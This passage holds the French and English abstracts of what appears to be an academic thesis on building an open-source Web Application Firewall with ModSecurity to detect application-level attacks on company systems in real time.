Les technologies traditionnelles, comme les Firewalls, sont malheureusement peu efficaces
contre ces attaques au niveau applicatif. Une nouvelle génération de Firewalls, les Web
Application Firewalls (WAF) a donc vu le jour, avec l'ambition de répondre à ces nouveaux défis.

L'objectif premier de ce travail est d'étudier et de réaliser une plate-forme d’une pare-feu
open source contre des intrusions de type applicatif permettant de détecter en temps réel toute
attaque menaçant le patrimoine informatique de l’entreprise.

Mots clés: Web Application Firewall, OWASP, ModSecurity, Firewall, Web, Framework, IP

116
 ABSTRACT

Management of computer security within any company regardless of its size has become
essential at the same as the management of its own network.

Even, we can say that the management of security is now a major concern and daily
network administrator of the company and is among the largest projects of its manager.

Much public study, such as the OWASP community, shows us that the vast majority of
vulnerabilities are applications orders. Also, these vulnerabilities are most often specific codes
from the applications, rather than "Framework" used to develop them.

Traditional technologies, such as firewalls, are unfortunately not very effective against
these attacks at the application level. A new generation of Firewalls or Web Application Firewalls
(WAF) has emerged, with the aim to meet these new challenges.

The primary objective of this work is to study and realize a platform of open source firewall
against the application’s intrusion to detect, in real-time, attacks threatening the IT assets of the
company.

Keywords: Web Application Firewall, OWASP, ModSecurity, Firewall, Web, Framework, IP,
I.T. (Information Technology).

117